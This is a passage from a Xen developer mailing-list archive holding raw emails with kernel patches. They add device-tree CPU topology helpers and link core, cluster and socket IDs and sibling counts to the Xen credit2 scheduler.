diff --git a/xen/include/xen/dt-cpu-topology.h b/xen/include/xen/dt-cpu-topology.h
new file mode 100644
index 0000000000..72b35b3cf2
--- /dev/null
+++ b/xen/include/xen/dt-cpu-topology.h
@@ -0,0 +1,35 @@
+/* SPDX-License-Identifier: GPL-2.0-only */
+
+#ifndef XEN_DT_CPU_TOPOLOGY_H
+#define XEN_DT_CPU_TOPOLOGY_H
+
+#include <xen/errno.h>
+
+struct dt_device_node;
+
+#ifdef CONFIG_DT_CPU_TOPOLOGY
+
+void map_cpu_to_dt_node(unsigned int cpu, struct dt_device_node *cpu_node);
+int dt_init_cpu_topology(void);
+
+#else /* CONFIG_DT_CPU_TOPOLOGY */
+
+static inline void map_cpu_to_dt_node(unsigned int cpu,
+                                      struct dt_device_node *cpu_node) {}
+static inline int dt_init_cpu_topology(void)
+{
+    return -EOPNOTSUPP;
+}
+
+#endif /* CONFIG_DT_CPU_TOPOLOGY */
+
+#endif /* XEN_DT_CPU_TOPOLOGY_H */
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * indent-tabs-mode: nil
+ * End:
+ */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:30:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:30:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367302.1617113 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsf-0007GG-Dt; Mon, 20 Jul 2026 16:30:13 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367302.1617113; Mon, 20 Jul 2026 16:30:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsf-0007G2-9m; Mon, 20 Jul 2026 16:30:13 +0000
Received: by outflank-mailman (input) for mailman id 1367302;
 Mon, 20 Jul 2026 16:30:11 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlqsd-0007EE-D4
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:30:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqsc-007jXT-Py
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:30:10 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d09-e002-0a2a0a5209dd-0a2a450187c2-16
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:10 +0200
Received: from [52.101.229.80]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d0f-5984-0a2a45010019-3465e5506d27-3
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:09 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB6790.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:419::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 16:30:05 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 16:30:05 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=j/jxnySjlWSVeSpB5iaDAtlsQvHV+A9F7sCDhwc/Go86/f0Fin9MjqQ1NM7zN9qVJjWhuMRBqgcaXExjrsIecrHR1Zc2vS6WZ4klZFRC6XUDg+Sb3k6ptocyO5yCRS+z/Tm3zoVjXlyE/qr7d98Xwd1LAYXDIp+snAP2n8H4TGhsqoWptPFsp83kiBzx1891WORniwPUL1QkmuBwpsfZUwt5BlD3KADcIVbmdoEDJNdXEmRPuI8Ez+xpTDD9VtZ+bEZOM1yRESdn4NkyJe7qvWyckFPLXqwZnwwZBdwk2fO/7jpoOeAGzuoFeGBuWjrVTm/PD13Y4jTuGkD/xEdBtw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=uCCcHwj5j73NphvC+8hyMO1PCrHZUjrJVgvBh+/mJyc=;
 b=U56kOPLO4zA0dinzvCD9AZ/bTYSAnpbgym0X2Iqx1p/tzELxZkSGsI65SXFGwk81T5fIhoCezPbaCpiqo7fmaHlWD1VdHmCOoApJvgI5BbxEVLEjHvCek1Mg2ueJ8d3mgRlVtpKv3NeFIbmfnvkjY3fLTjVLEu15aiLwyerMXBK+EKIul9Z1+HtMEQC07S/7DAMI9bPKzSD996nXic+Byo5odUB0VS7/anIvRMVy46tx1Ym5qdi/T07XkKQLEArq11LyWvoV+nOYzEVA/G5uInm40ah1afs462MztXhrDv7IDBe2iGeFgx/rWWoyymljj6m6s0azVvkYwjLHJNAvjQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=uCCcHwj5j73NphvC+8hyMO1PCrHZUjrJVgvBh+/mJyc=;
 b=jucDGp/Cj4Mzx1x6QT3rainBPVCnnT8mEg1XlvHqzthXhOh5phW4Fl2SvA6yP2boIMxk3kXvgHakvAHyja9aB2b3NWawj38u+Aq8qaUIyPhbUZN/KIhZr1ORVW4OPWci5VGZb4U01gLyju+Z5pn+90mwyW7Wr7qM76qvX8142No=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Julien Grall <julien@xen.org>,
	Bertrand Marquis <bertrand.marquis@arm.com>,
	Michal Orzel <michal.orzel@amd.com>,
	Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Jan Beulich <jbeulich@suse.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Timothy Pearson <tpearson@raptorengineering.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v7 2/5] xen/sched: Link CPU topology to scheduler
Date: Tue, 21 Jul 2026 01:28:16 +0900
Message-ID: <20260720162819.308326-3-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720162819.308326-1-taka@valinux.co.jp>
References: <20260720162819.308326-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0041.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3ba::10) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: OS9P286MB7222:EE_|OS9P286MB6790:EE_
X-MS-Office365-Filtering-Correlation-Id: 17c77247-d7d6-45aa-189e-08dee67c27bb
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|366016|23010399003|1800799024|10070799003|7416014|376014|6133799003|10067099003|56012099006|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	IWLdo8J4YZStqd1gGDGBLLsyqAg/WRzlGXPExeUiaUcPm/w1fJb+pjg11MBNUrTfZgyTSTFKQ8HtjMSxRGwlRgojYMDcYWkuBjn9AYzFg4yzVIU2GhFrREU/B3Fbhr3uvo7N0VkO4yAmqx1RDMY1ykudjoe5vMMFuLWcNMKR58Oaph+Y9GnfIcX5YRhGHWJx3ncKqv3tGSuD0xA5pcLcRnfM1tXzxxiQGekYcattqEOMbpXdsPcXhqQDpIvIjsDxsRJoyGDokDY3WfSapGiC161NZLy1dd/qETO6k2e31KpMUrJijf37D9ieHzRfY34sANr76WwlSQVEjVlFTApRHy8puPT1HDK+151ir/3D2MwyqaI6cL5zRm7eZGNh/k9FVj1Jpuwp2fPMoTWds8tky38pxsPQZmkCWR4iHDe7HSWrEQgMIhxtHwWiByHJgqiK8ddldJJarOx00lLHYED+cEkSu7w2ssI6Gg5j9H6GTjRA365cCcRuAWm4UjO0rL/r1wiTAn7jpwxv9O4dXKAvC4KS0RrFC0DPXpjNCssBsn2MlOBCSlrYW4vUxLyGhBQkvTqdHkn7FNy4r8F6GpBl7sWqx0PVni0DoyXJCzO4JYn3hOrqMqoNYfblwGe/P6ymsUU23OZu2YCXWJ8VgFaWu91uzJK8ABJxSeTRM+gp/Aw=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(366016)(23010399003)(1800799024)(10070799003)(7416014)(376014)(6133799003)(10067099003)(56012099006)(18002099003)(22082099003);DIR:OUT;SFP:1102;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 2
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?m+NUYJpMLbHzCQ6xdww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sI6?=
 =?us-ascii?Q?ieigLxl2DHS7BojlqAPk/aqagV1ZKSh3nyh63YIVvyTQDywLsnt4IIWrTU8G?=
X-MS-Exchange-AntiSpam-MessageData-1: Fu9vze8lAAKMig==
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-Network-Message-Id: 17c77247-d7d6-45aa-189e-08dee67c27bb
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 20 Jul 2026 16:30:05.1050
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: cOQ0yqd7d2eBAScEZDYhnMvclQYsR1GhGejBM1cL1Qjns7MQqmstq68P99sFj5BF2pMsYxVDbqWJPGLUIrIQwg==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: OS9P286MB6790
X-purgate-ID: tlsNG-d62444/1784565010-1DA7E757-EE4CDF83/0/0
X-purgate-type: clean
X-purgate-size: 9052

Make CPU topology information available to the Xen scheduler.
Additionally, ensure that this topology information is displayed
when executing the 'xl info -n' command.

Signed-off-by: Hirokazu Takahashi <taka@valinux.co.jp>
---

Changes in v7:
- Code Cleanups & Style Conformance:
  * Consolidated topology helpers with IS_ENABLED().

 xen/arch/arm/include/asm/processor.h   |  4 --
 xen/arch/arm/smpboot.c                 |  8 +---
 xen/arch/ppc/include/asm/processor.h   |  4 --
 xen/arch/riscv/include/asm/processor.h |  4 --
 xen/common/device-tree/cpu-topology.c  | 65 ++++++++++++++++++++++++++
 xen/common/sched/credit2.c             |  6 +++
 xen/common/sysctl.c                    |  1 +
 xen/drivers/acpi/topology.c            |  3 ++
 xen/include/xen/cpu-topology.h         | 39 +++++++++++++++-
 9 files changed, 114 insertions(+), 20 deletions(-)

diff --git a/xen/arch/arm/include/asm/processor.h b/xen/arch/arm/include/asm/processor.h
index a3753c317f..41fa73cfc4 100644
--- a/xen/arch/arm/include/asm/processor.h
+++ b/xen/arch/arm/include/asm/processor.h
@@ -613,10 +613,6 @@ void show_stack(const struct cpu_user_regs *regs);
 
 #define cpu_relax() barrier() /* Could yield? */
 
-/* All a bit UP for the moment */
-#define cpu_to_core(_cpu)   (0)
-#define cpu_to_socket(_cpu) (0)
-
 struct vcpu;
 void vcpu_regs_hyp_to_user(const struct vcpu *vcpu,
                            struct vcpu_guest_core_regs *regs);
diff --git a/xen/arch/arm/smpboot.c b/xen/arch/arm/smpboot.c
index d957553a44..88b01bcfd2 100644
--- a/xen/arch/arm/smpboot.c
+++ b/xen/arch/arm/smpboot.c
@@ -92,13 +92,7 @@ static int setup_cpu_sibling_map(int cpu)
          !zalloc_cpumask_var(&per_cpu(cpu_core_mask, cpu)) )
         return -ENOMEM;
 
-    /*
-     * Currently we assume there is no multithread and NUMA, so
-     * a CPU is a sibling with itself, and the all possible CPUs
-     * are supposed to belong to the same socket (NUMA node).
-     */
-    cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
-    cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    init_cpu_sibling_map(cpu);
 
     return 0;
 }
diff --git a/xen/arch/ppc/include/asm/processor.h b/xen/arch/ppc/include/asm/processor.h
index 242346cab9..1bf6f6c66c 100644
--- a/xen/arch/ppc/include/asm/processor.h
+++ b/xen/arch/ppc/include/asm/processor.h
@@ -141,10 +141,6 @@
 /* Macro to adjust thread priority for hardware multithreading */
 #define HMT_very_low()  asm volatile ( "or %r31, %r31, %r31" )
 
-/* TODO: This isn't correct */
-#define cpu_to_core(cpu)   (0)
-#define cpu_to_socket(cpu) (0)
-
 /*
  * User-accessible registers: most of these need to be saved/restored
  * for every nested Xen invocation.
diff --git a/xen/arch/riscv/include/asm/processor.h b/xen/arch/riscv/include/asm/processor.h
index 6b89df4a2d..d478ffb76b 100644
--- a/xen/arch/riscv/include/asm/processor.h
+++ b/xen/arch/riscv/include/asm/processor.h
@@ -54,10 +54,6 @@ struct cpu_user_regs
     unsigned long pregs;
 };
 
-/* TODO: need to implement */
-#define cpu_to_core(cpu)   0
-#define cpu_to_socket(cpu) 0
-
 static inline void cpu_relax(void)
 {
 #ifdef __riscv_zihintpause
diff --git a/xen/common/device-tree/cpu-topology.c b/xen/common/device-tree/cpu-topology.c
index 9259be73bc..36560dc228 100644
--- a/xen/common/device-tree/cpu-topology.c
+++ b/xen/common/device-tree/cpu-topology.c
@@ -317,6 +317,67 @@ static int __init parse_dt_topology(void)
     return parse_socket(map);
 }
 
+static void __init setup_cpu_topology_ids(void)
+{
+    unsigned int cpu;
+    unsigned int next_core_id = 0;
+    unsigned int next_cluster_id = 0;
+    unsigned int next_socket_id = 0;
+
+    for_each_possible_cpu(cpu)
+    {
+        unsigned int first_cpu;
+        struct cpu_topology *topo = &cpu_topology[cpu];
+
+        first_cpu = cpumask_first(topo->thread_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_core_id = next_core_id;
+            next_core_id++;
+        }
+        else
+        {
+            topo->phys_core_id = cpu_topology[first_cpu].phys_core_id;
+        }
+
+        first_cpu = cpumask_first(topo->cluster_sibling);
+        if ( first_cpu >= nr_cpu_ids )
+        {
+            /* Clustering is not supported */
+            topo->phys_cluster_id = 0;
+        }
+        else
+        {
+            if ( first_cpu == cpu )
+            {
+                topo->phys_cluster_id = next_cluster_id;
+                next_cluster_id++;
+            }
+            else
+            {
+                topo->phys_cluster_id = cpu_topology[first_cpu].phys_cluster_id;
+            }
+        }
+
+        first_cpu = cpumask_first(topo->core_sibling);
+        ASSERT(first_cpu < nr_cpu_ids);
+
+        if ( first_cpu == cpu )
+        {
+            topo->phys_socket_id = next_socket_id;
+            next_socket_id++;
+        }
+        else
+        {
+            topo->phys_socket_id = cpu_topology[first_cpu].phys_socket_id;
+        }
+
+        topo->num_siblings = cpumask_weight(topo->thread_sibling);
+    }
+}
+
 int __init dt_init_cpu_topology(void)
 {
     unsigned int cpu;
@@ -327,9 +388,13 @@ int __init dt_init_cpu_topology(void)
 
     ret = parse_dt_topology();
     if ( ret == 0 )
+    {
         for_each_possible_cpu(cpu)
             setup_siblings_masks(cpu);
 
+        setup_cpu_topology_ids();
+    }
+
     return ret;
 }
 
diff --git a/xen/common/sched/credit2.c b/xen/common/sched/credit2.c
index 95946634d1..b4a3b59601 100644
--- a/xen/common/sched/credit2.c
+++ b/xen/common/sched/credit2.c
@@ -9,6 +9,7 @@
  * Based on an earlier verson by Emmanuel Ackaouy.
  */
 
+#include <xen/cpu-topology.h>
 #include <xen/errno.h>
 #include <xen/init.h>
 #include <xen/lib.h>
@@ -35,6 +36,11 @@
  */
 static unsigned int cpu_nr_siblings(unsigned int cpu)
 {
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+    if ( cpu_topology )
+        return cpu_topology[cpu].num_siblings;
+#endif
+
 #ifdef CONFIG_X86
     return cpu_data[cpu].x86_num_siblings;
 #else
diff --git a/xen/common/sysctl.c b/xen/common/sysctl.c
index 5207664252..81a68fe24c 100644
--- a/xen/common/sysctl.c
+++ b/xen/common/sysctl.c
@@ -28,6 +28,7 @@
 #include <xen/pmstat.h>
 #include <xen/livepatch.h>
 #include <xen/coverage.h>
+#include <xen/cpu-topology.h>
 
 long do_sysctl(XEN_GUEST_HANDLE_PARAM(xen_sysctl_t) u_sysctl)
 {
diff --git a/xen/drivers/acpi/topology.c b/xen/drivers/acpi/topology.c
index 45d1f2c5be..56fcfa4945 100644
--- a/xen/drivers/acpi/topology.c
+++ b/xen/drivers/acpi/topology.c
@@ -22,6 +22,9 @@ int __init acpi_init_cpu_topology(void)
     {
         struct cpu_topology *topo = &cpu_topology[cpu];
 
+        topo->phys_core_id = cpu;
+        topo->num_siblings = 1;
+
         cpumask_set_cpu(cpu, topo->thread_sibling);
         cpumask_copy(topo->core_sibling, &cpu_possible_map);
         cpumask_copy(topo->cluster_sibling, &cpu_possible_map);
diff --git a/xen/include/xen/cpu-topology.h b/xen/include/xen/cpu-topology.h
index 7cfe3752cd..52ee93d4d0 100644
--- a/xen/include/xen/cpu-topology.h
+++ b/xen/include/xen/cpu-topology.h
@@ -4,22 +4,59 @@
 #define XEN_CPU_TOPOLOGY_H
 
 #include <xen/cpumask.h>
+#include <xen/percpu.h>
 
-#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+#include <asm/processor.h>
+#include <asm/smp.h>
 
 struct cpu_topology {
     cpumask_var_t thread_sibling;
     cpumask_var_t core_sibling;
     cpumask_var_t cluster_sibling;
+    unsigned int phys_core_id;
+    unsigned int phys_cluster_id;
+    unsigned int phys_socket_id;
+    unsigned int num_siblings;
 };
 
 extern struct cpu_topology *cpu_topology;
+
+static inline void init_cpu_sibling_map(unsigned int cpu)
+{
+    if ( IS_ENABLED(CONFIG_GENERIC_CPU_TOPOLOGY) && cpu_topology )
+    {
+        cpumask_copy(per_cpu(cpu_sibling_mask, cpu),
+                     cpu_topology[cpu].thread_sibling);
+        cpumask_copy(per_cpu(cpu_core_mask, cpu),
+                     cpu_topology[cpu].core_sibling);
+    }
+    else
+    {
+        /* Assume all CPUs reside in the same socket and no threading. */
+        cpumask_set_cpu(cpu, per_cpu(cpu_sibling_mask, cpu));
+        cpumask_copy(per_cpu(cpu_core_mask, cpu), &cpu_possible_map);
+    }
+}
+
+#ifdef CONFIG_GENERIC_CPU_TOPOLOGY
+
 void init_cpu_topology(void);
 
+#define cpu_to_core(cpu) (cpu_topology ? cpu_topology[cpu].phys_core_id : 0)
+#define cpu_to_socket(cpu) (cpu_topology ? cpu_topology[cpu].phys_socket_id : 0)
+
 #else /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 static inline void init_cpu_topology(void) {}
 
+#ifndef cpu_to_core
+#define cpu_to_core(cpu)   (0)
+#endif
+
+#ifndef cpu_to_socket
+#define cpu_to_socket(cpu) (0)
+#endif
+
 #endif /* CONFIG_GENERIC_CPU_TOPOLOGY */
 
 #endif /* XEN_CPU_TOPOLOGY_H */
-- 
2.43.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 20 16:30:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 20 Jul 2026 16:30:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367303.1617122 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsg-0007Tu-KM; Mon, 20 Jul 2026 16:30:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367303.1617122; Mon, 20 Jul 2026 16:30:14 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wlqsg-0007Te-He; Mon, 20 Jul 2026 16:30:14 +0000
Received: by outflank-mailman (input) for mailman id 1367303;
 Mon, 20 Jul 2026 16:30:12 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wlqse-0007Eg-Gz
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 16:30:12 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wlqsd-007jXT-Ty
 for xen-devel@lists.xenproject.org; Mon, 20 Jul 2026 18:30:11 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d09-e002-0a2a0a5209dd-0a2a450187c2-20
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:11 +0200
Received: from [52.101.229.80]
 (helo=TY3P286CU002.outbound.protection.outlook.com)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a5e4d0f-5984-0a2a45010019-3465e5506d27-4
 for <xen-devel@lists.xenproject.org>; Mon, 20 Jul 2026 18:30:11 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by OS9P286MB6790.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:419::17)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.223.18; Mon, 20 Jul
 2026 16:30:08 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0223.017; Mon, 20 Jul 2026
 16:30:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=x7by7hG821LZdoFxWp7lSGwtv5Tu6hdmj0jeR/18c9Oi5/7zW+TJW6bFlFa37vwfi3FmPPCP85Yb2FKn7Rs/jPG6ArBDflNrLZcydx4uEjvMxbnquuUogsh+snpU3spyVVtUEuHcuUofoQWIXrkrOw3jEVqPqYEvnu9ZXvBEluSj2JpppirSp8CHelAnUqrauPFdShfQ/aRy5njX4dqADkibH1/VYkxRCVSW5NSEeUmwCBvk2P46YPDp6frS6oVSdTq3C4mmzbGo9KcoAOl50H4qAem4CrPje9stgu4/v6ewwIIytM61PEwasZ9M3EfBz+RQxM2F3ihbruNNTIvFsQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=jhLfULqhN+7J3MRM6JeOSJ5q6A5QUJlf3TY/hwzabv0=;
 b=rVm1LL4Et5gVEr+621lPve/v80uP8XhbVALG2bDKzv8aAH0Jt2V47iWnqwqtPCQc6CES7OPRVCMmPR4RsZkbu0lDem3RnvbtdR8k3oRsVJFM2fyjHd5mgHvJStN16WX2mphzxRghVvEE2j+S1mbxnIS4TQ/k1DzUf75gkd1oBgNaV2r52sKmuqZJCzGkZv2+PdxNjClmgHScWMVMzcpeyom3EEVjKF1ZGReLTdVGNBL3XWZ539wGasNjbs+OcU6BAL7x8fBMOUAierqchgcaAV0NFSxuD0mllzGMf/KRGV/5UUnYeND5PKlRhKZ6oaj68ivxyrBh+gh5TA/m5BmrHg==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=jhLfULqhN+7J3MRM6JeOSJ5q6A5QUJlf3TY/hwzabv0=;
 b=UCBPuoKm+AWEOnGAAQW9qkF6Wcap1sJdCICdZXlkdM8iNFKiSItjLnXqa/Eh78TpuyCuGJKW9YRvstWfSwsCYiVsL6cMWyZS/jTRxVAxReBYWmlryPWgCgKlrIc4hDePmEQ62XUoJhgvbgq7ciYTavxlf/NefvzVvaDrMlOe7zg=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: xen-devel@lists.xenproject.org
Cc: Mykyta_Poturai@epam.com,
	Hirokazu Takahashi <taka@valinux.co.jp>,
	Jan Beulich <jbeulich@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Dario Faggioli <dfaggioli@suse.com>,
	Juergen Gross <jgross@suse.com>,
	George Dunlap <gwd@xenproject.org>
Subject: [PATCH v7 3/5] xen/sched: Make cpu_nr_siblings() architecture-specific
Date: Tue, 21 Jul 2026 01:28:17 +0900
Message-ID: <20260720162819.308326-4-taka@valinux.co.jp>
X-Mailer: git-send-email 2.43.0
In-Reply-To: <20260720162819.308326-1-taka@valinux.co.jp>
References: <20260720162819.308326-1-taka@valinux.co.jp>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: TY6P301CA0029.JPNP301.PROD.OUTLOOK.COM
 (2603:1096:405:3ba::19) To OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 (2603:1096:604:458::18)
MIME-Version: 1.0
